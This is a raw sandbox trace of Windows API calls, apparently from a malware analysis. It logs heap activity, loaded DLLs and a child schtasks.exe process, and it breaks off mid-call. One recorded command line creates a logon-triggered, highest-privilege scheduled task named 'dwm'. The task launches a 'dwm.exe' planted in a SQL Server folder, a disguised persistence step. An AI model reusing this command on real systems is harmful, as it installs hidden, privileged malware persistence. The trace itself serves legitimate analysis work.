returned 0x20 [0105.646] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459170) returned 1 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459050) returned 1 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459050) returned 0x20 [0105.647] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459050) returned 1 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453fe0) returned 1 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453fe0) returned 0x18 [0105.647] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453fe0) returned 1 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459200) returned 1 [0105.647] GetProcessHeap () returned 0x2008f450000 [0105.647] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459200) returned 0x20 [0105.648] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459200) returned 1 [0105.648] GetProcessHeap () returned 0x2008f450000 [0105.648] GetProcessHeap () returned 0x2008f450000 [0105.648] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4560b0) returned 1 [0105.648] GetProcessHeap () returned 0x2008f450000 [0105.648] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4560b0) returned 0x18 [0105.648] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4560b0) returned 1 [0105.648] exit (_Code=0) Thread: id = 133 os_tid = 0x1174 Process: id = "6" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x339d8000" os_pid = "0x1210" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"dwm\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2330 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2331 start_va = 0x90ce250000 end_va = 0x90ce2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000090ce250000" filename = "" Region: id = 2332 start_va = 0x90ce400000 end_va = 0x90ce5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000090ce400000" filename = "" Region: id = 2333 start_va = 0x1f4ae7e0000 end_va = 0x1f4ae7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae7e0000" filename = "" Region: id = 2334 start_va = 0x1f4ae800000 end_va = 0x1f4ae814fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae800000" filename = "" Region: id = 2335 start_va = 0x1f4ae820000 end_va = 0x1f4ae823fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae820000" filename = "" Region: id = 2336 start_va = 0x1f4ae830000 end_va = 0x1f4ae830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae830000" filename = "" Region: id = 2337 start_va = 0x1f4ae840000 end_va = 0x1f4ae841fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae840000" filename = "" Region: id = 2338 start_va = 0x7df5ff930000 end_va = 0x7ff5ff92ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff930000" filename = "" Region: id = 2339 start_va = 0x7ff6850c0000 end_va = 0x7ff6850e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6850c0000" filename = "" Region: id = 2340 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2341 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2342 start_va = 0x1f4ae850000 end_va = 0x1f4ae9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae850000" filename = "" Region: id = 2343 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2344 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2345 start_va = 0x1f4ae7e0000 end_va = 0x1f4ae7effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae7e0000" filename = "" Region: id = 2346 start_va = 0x7ff684fc0000 end_va = 0x7ff6850bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684fc0000" filename = "" Region: id = 2347 start_va = 0x1f4ae9c0000 end_va = 0x1f4aea7dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2348 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2349 start_va = 0x90ce2d0000 end_va = 0x90ce34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000090ce2d0000" filename = "" Region: id = 2350 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2351 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2352 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2353 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2354 start_va = 0x1f4aea80000 end_va = 0x1f4aec7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4aea80000" filename = "" Region: id = 2355 start_va = 0x1f4ae7f0000 end_va = 0x1f4ae7f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae7f0000" filename = "" Region: id = 2356 start_va = 0x1f4aea80000 end_va = 0x1f4aebc2fff monitored = 0 entry_point = 0x1f4aeaa8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2357 start_va = 0x1f4aec70000 end_va = 0x1f4aec7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4aec70000" filename = "" Region: id = 2358 start_va = 0x1f4ae850000 end_va = 0x1f4ae856fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae850000" filename = "" Region: id = 2359 start_va = 0x1f4ae8c0000 end_va = 0x1f4ae9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae8c0000" filename = "" Region: id = 2360 start_va = 0x1f4ae860000 end_va = 0x1f4ae872fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2361 start_va = 0x1f4aec80000 end_va = 0x1f4aefb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2362 start_va = 0x1f4aea80000 end_va = 0x1f4aeb5cfff monitored = 0 entry_point = 0x1f4aeade0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2363 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2364 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2365 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2366 start_va = 0x1f4ae880000 end_va = 0x1f4ae8b8fff monitored = 0 entry_point = 0x1f4ae8812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2367 start_va = 0x1f4aea80000 end_va = 0x1f4aec07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4aea80000" filename = "" Region: id = 2368 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2369 start_va = 0x1f4ae880000 end_va = 0x1f4ae880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae880000" filename = "" Region: id = 2370 start_va = 0x1f4ae890000 end_va = 0x1f4ae890fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001f4ae890000" filename = "" Region: id = 2371 start_va = 0x1f4aefc0000 end_va = 0x1f4af140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4aefc0000" filename = "" Region: id = 2372 start_va = 0x1f4af150000 end_va = 0x1f4b054ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4af150000" filename = "" Region: id = 2373 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2374 start_va = 0x1f4ae8a0000 end_va = 0x1f4ae8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae8a0000" filename = "" Region: id = 2375 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2376 start_va = 0x1f4ae8b0000 end_va = 0x1f4ae8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001f4ae8b0000" filename = "" Region: id = 2377 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2378 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2379 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 134 os_tid = 0x1218 [0105.990] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0105.990] __set_app_type (_Type=0x1) [0105.990] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0105.991] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0105.991] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0105.991] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0105.991] CsrIdentifyAlertableThread () returned 0x0 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.992] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4eb0 [0105.992] RtlRestoreLastWin32Error () returned 0x90ce483000 [0105.992] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0105.992] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0105.992] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0105.992] RtlVerifyVersionInfo (VersionInfo=0x90ce2cf0b0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.992] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4ed0 [0105.992] lstrlenW (lpString="") returned 0 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.992] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x2) returned 0x1f4ae8c4ef0 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.992] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c4860 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.992] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4890 [0105.992] GetProcessHeap () returned 0x1f4ae8c0000 [0105.993] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c48b0 [0105.993] GetProcessHeap () returned 0x1f4ae8c0000 [0105.993] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c48e0 [0105.993] GetProcessHeap () returned 0x1f4ae8c0000 [0105.993] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c4450 [0105.993] GetProcessHeap () returned 0x1f4ae8c0000 [0105.993] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9040 [0105.993] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4480 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c91f0 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9070 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8ef0 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8e90 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c44a0 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8f80 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8f50 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c90a0 [0105.994] GetProcessHeap () returned 0x1f4ae8c0000 [0105.994] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9130 [0105.994] SetThreadUILanguage (LangId=0x0) returned 0x409 [0105.996] RtlRestoreLastWin32Error () returned 0x90ce483000 [0105.996] GetProcessHeap () returned 0x1f4ae8c0000 [0105.996] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9190 [0105.996] GetProcessHeap () returned 0x1f4ae8c0000 [0105.996] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c91c0 [0105.996] GetProcessHeap () returned 0x1f4ae8c0000 [0105.996] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9160 [0105.996] GetProcessHeap () returned 0x1f4ae8c0000 [0105.996] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8ec0 [0105.996] GetProcessHeap () returned 0x1f4ae8c0000 [0106.001] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8f20 [0106.001] GetProcessHeap () returned 0x1f4ae8c0000 [0106.001] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4c50 [0106.001] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.001] GetProcessHeap () returned 0x1f4ae8c0000 [0106.001] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x208) returned 0x1f4ae8c9b30 [0106.001] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f4ae8c9b30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0106.001] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x90ce2cf208 | out: lpdwHandle=0x90ce2cf208) returned 0x76c [0106.003] GetProcessHeap () returned 0x1f4ae8c0000 [0106.003] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x776) returned 0x1f4ae8ca890 [0106.003] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1f4ae8ca890 | out: lpData=0x1f4ae8ca890) returned 1 [0106.003] VerQueryValueW (in: pBlock=0x1f4ae8ca890, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x90ce2cf1a0, puLen=0x90ce2cf200 | out: lplpBuffer=0x90ce2cf1a0*=0x1f4ae8cac40, puLen=0x90ce2cf200) returned 1 [0106.005] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.006] _vsnwprintf (in: _Buffer=0x1f4ae8c9b30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x90ce2cf178 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0106.006] VerQueryValueW (in: pBlock=0x1f4ae8ca890, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x90ce2cf190, puLen=0x90ce2cf1f8 | out: lplpBuffer=0x90ce2cf190*=0x1f4ae8caa70, puLen=0x90ce2cf1f8) returned 1 [0106.006] lstrlenW (lpString="schtasks.exe") returned 12 [0106.006] lstrlenW (lpString="schtasks.exe") returned 12 [0106.006] lstrlenW (lpString=".EXE") returned 4 [0106.006] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0106.007] lstrlenW (lpString="schtasks.exe") returned 12 [0106.007] lstrlenW (lpString=".EXE") returned 4 [0106.007] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.007] lstrlenW (lpString="schtasks") returned 8 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c8fb0 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8c9010 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb3a0 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb460 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4c70 [0106.007] _memicmp (_Buf1=0x1f4ae8c4c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xa0) returned 0x1f4ae8c3890 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb490 [0106.007] GetProcessHeap () returned 0x1f4ae8c0000 [0106.007] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb5b0 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb400 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4c90 [0106.008] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x200) returned 0x1f4ae8cbb60 [0106.008] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0106.008] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x30) returned 0x1f4ae8c3940 [0106.008] _vsnwprintf (in: _Buffer=0x1f4ae8c3890, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x90ce2cf178 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8ca890) returned 1 [0106.008] GetProcessHeap () returned 0x1f4ae8c0000 [0106.008] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca890) returned 0x776 [0106.009] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca890) returned 1 [0106.009] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.009] GetThreadLocale () returned 0x409 [0106.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.009] lstrlenW (lpString="?") returned 1 [0106.009] GetThreadLocale () returned 0x409 [0106.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.009] lstrlenW (lpString="create") returned 6 [0106.009] GetThreadLocale () returned 0x409 [0106.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.009] lstrlenW (lpString="delete") returned 6 [0106.009] GetThreadLocale () returned 0x409 [0106.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.009] lstrlenW (lpString="query") returned 5 [0106.009] GetThreadLocale () returned 0x409 [0106.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.009] lstrlenW (lpString="change") returned 6 [0106.010] GetThreadLocale () returned 0x409 [0106.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.010] lstrlenW (lpString="run") returned 3 [0106.010] GetThreadLocale () returned 0x409 [0106.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.010] lstrlenW (lpString="end") returned 3 [0106.010] GetThreadLocale () returned 0x409 [0106.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.010] lstrlenW (lpString="showsid") returned 7 [0106.010] GetThreadLocale () returned 0x409 [0106.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.010] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.010] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.010] lstrlenW (lpString="/create") returned 7 [0106.010] lstrlenW (lpString="-/") returned 2 [0106.010] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.010] lstrlenW (lpString="?") returned 1 [0106.010] lstrlenW (lpString="?") returned 1 [0106.010] GetProcessHeap () returned 0x1f4ae8c0000 [0106.010] RtlAllocateHeap 